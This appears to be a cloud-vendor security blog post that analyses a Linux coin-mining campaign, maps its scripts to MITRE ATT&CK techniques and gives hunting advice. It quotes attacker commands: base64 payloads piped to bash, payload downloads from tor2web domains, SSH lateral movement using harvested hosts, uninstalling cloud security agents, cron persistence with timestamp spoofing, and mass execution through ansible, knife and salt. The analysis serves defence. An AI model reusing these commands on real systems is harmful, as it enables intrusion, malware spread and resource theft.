• 6 min read

Learning from cryptocurrency mining attack scripts on Linux

Cryptocurrency mining attacks continue to represent a threat to many of our Azure Linux customers.

Cryptocurrency mining attacks continue to represent a threat to many of our Azure Linux customers. In the past, we've talked about how some attackers use brute force techniques to guess account names and passwords and use those to gain access to machines. Today, we're talking about an attack that a few of our customers have seen where a service is exploited to run the attackers code directly on the machine hosting the service.

This attack is interesting for several reasons. The attacker echoes in their scripts so we can see what they want to do, not just what executes on the machine. The scripts cover a wide range of possible services to exploit so they demonstrate how far the campaign can reach. Finally, because we have the scripts themselves, we can pull out good examples from the Lateral Movement, Defense Evasion, Persistence, and Objectives sections of the Linux MITRE ATT&CK Matrix and use those to talk about hunting on your own data.

Initial vector

For this attack, the first indication something is wrong in the audited logs is an echo command piping a base64 encoded command into base64 for decoding then piping into bash. Across our users, this first command has a parent process of an application or service exposed to the internet and the command is run by the user account associated with that process. This indicates the application or service itself was exploited in order to run the commands. While some of these accounts are specific to a customer, we also see common accounts like Ubuntu, Jenkins, and Hadoop being used. 

/bin/sh -c "echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYm


UK|base64 -d|bash"


It is worth taking a brief aside to talk about how this attacker uses scripts. In this case, they do nearly everything through base64 encoded scripts. One of the interesting things about those scripts is they start with the same first two lines: redirecting both the standard error and standard output stream to /dev/null and setting the path variable to locations the attacker knows generally hold the system commands they want to run. 

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

This indicates that when each of them is base64 encoded, the first part of the encoding is the same every time.



The use of the same command is particularly helpful when trying to tie attacks together across a large set of machines. The scripts themselves are also interesting because we can see what the attacker intended to run. As defenders, it can be very valuable to look at attacker scripts whenever you can so you can see how they are trying to manipulate systems. For instance, this attacker uses a for loop to cycle through different possible domain names. This type of insight gives defenders more data to pivot on during an investigation.

for h in onion.glass civiclink.network tor2web.io onion.sh onion.mn onion.in.net onion.to
if ! ls /proc/$(cat /tmp/.X11-unix/01)/io; then
x tv.$h

We observed this attacker use over thirty different encoded scripts across a number of customers, but they boiled down to roughly a dozen basic scripts with small differences in executable names or download sites. Within those scripts are some interesting examples that we can tie directly to the MITRE ATT&CK Matrix for Linux.

Lateral Movement

While it isn’t the first thing the attacker does, they do use an interesting combination Discovery (T1018: Remote System Discovery) and Lateral Movement (T1021: Remote Services) techniques to infect other hosts. They grep through the files .bash_history, /etc/hosts, and .ssh/known_hosts looking for IP addresses. They then attempt to pass their initial encoded script into each host using both the root account and the account they compromised on their current host without a password. Note, the xssh function appears before the call in the original script. 

hosts=$(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |awk -F: {'print $2'}|sort|uniq ;awk {'print $1'} $HOME/.ssh/known_hosts|sort|uniq|grep -v =|sort|uniq)
for h in $hosts;do xssh root $h; xssh $USER $h & done
xssh() {
ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no $1@$2 'echo ZXhlYyAKZG9uZQo=|base64 -d|bash'

In each case, after the initial foothold is gained, the attacker uses a similar set of Defense Evasion techniques.

Defense Evasion

Over various scripts, the attacker uses the T1107: File Deletion, T1222: File and Directory Permissions Modification, and T1089: Disabling Security Tools techniques, as well as the obvious by this point, T1064: Scripting.

In one script they first they make a randomly named file:

z=./$(date|md5sum|cut -f1 -d" ")

After they download their executable into that file, they modify the downloaded file for execution, run it, then delete the file from disk:

chmod +x $z;$z;rm -f

In another script, the attacker tries to download then run uninstall files for the Alibaba Cloud Security Server Guard and the AliCloud CloudMonitor service (the variable $w is set as a wget command earlier in the script).

$w update.aegis.aliyun.com/download/uninstall.sh|bash
$w update.aegis.aliyun.com/download/quartz_uninstall.sh|bash


Once the coin miner is up and running, this attacker uses a combination of T1168: Local Job Scheduling and T1501: Systemd Service scheduled tasks for persistence. The below is taken from another part of a script where they echo an ntp call and one of their base64 encoded scripts into the file systemd-ntpdate then add a cron job to run that file. The encoded script here is basically the same as their original script that started off the intrusion.

echo -e "#x21/bin/bashnexec &>/dev/nullnntpdate ntp.aliyun.comnsleep $((RANDOM % 600))necho ZXhlYyAmPi92gKZmkK|base64 -d|bash" > /lib/systemd/systemd-ntpdate
echo "0 * * * * root /lib/systemd/systemd-ntpdate" > /etc/cron.d/0systemd-ntpdate
touch -r /bin/grep /lib/systemd/systemd-ntpdate
touch -r /bin/grep /etc/cron.d/0systemd-ntpdate
chmod +x /lib/systemd/systemd-ntpdate


As previously mentioned, the main objective of this attacker is to get a coin miner started. They do this in the very first script that is run using the T1496: Resource Hijacking tactic. One of the interesting things about this attack is that while they start by trying to get the coin miner going with the initially compromised account, one of the subsequent scripts attempts to get it started using commands from different pieces of software (T1072: Third-party Software).

ansible all -m shell -a 'echo ZXhuZQo=|base64 -d|bash'
knife ssh 'name:*' 'echo ZXhuZQo=|base64 -d|bash'
salt '*' cmd.run 'echo ZXhZQo=|base64 -d|bash'


ASC Linux customers should expect to see coin mining or suspicious download alerts from this type of activity, but what if you wanted to hunt for it yourself? If you use the above script examples, there are several indicators you could follow up on, especially if you have command line logging. 

  • Do you see unexpected connections to onion and tor sites?
  • Do you see unexpected ssh connections between hosts?
  • Do you see an increase in activity from a particular user?
  • Do you see base64 commands echoed, decoded, then piped into bash? Any one of those could be suspicious depending on your own network.
  • Check your cron jobs, do you see wgets or base64 encoded lines there?
  • Check the services running on your machines, do you see anything unexpected?
  • In reference to the Objectives section above, do you see commands for pieces of software you don’t have installed?

Azure Sentinel can help with your hunting as well. If you are an Azure Security Center customer already, we make it easy to integrate into Azure Sentinel.


In addition to hunting, there are a few things you can do to defend yourself from these types of attacks. If you have internet-facing services, make sure you are keeping them up to date, are changing any default passwords, and taking advantage of some of the other credential management tools Azure offers like just-in-time (JIT), password-less sign-in, and Azure Key Vault. Monitor your Azure machine utilization rates; an unexpected increase in usage could indicate a coin miner. Check out other ideas at the Azure Security Center documentation page

Identifying attacks on Linux systems

Coin miners represent a continuing threat to machines exposed to the internet. While it's generally easy to block a known-bad IP or use a signature-based antivirus, by studying attacker tactics, techniques, and procedures, defenders can find new and more reliable ways to protect their environments.

While we talk about a specific coin miner attacker in this post, the basic techniques highlighted above are used by many different types of attackers of Linux systems. We see Lateral movement, Defense Evasion, and Persistence techniques similar to the above used by different attackers regularly and are continually adding new detections based on our investigations.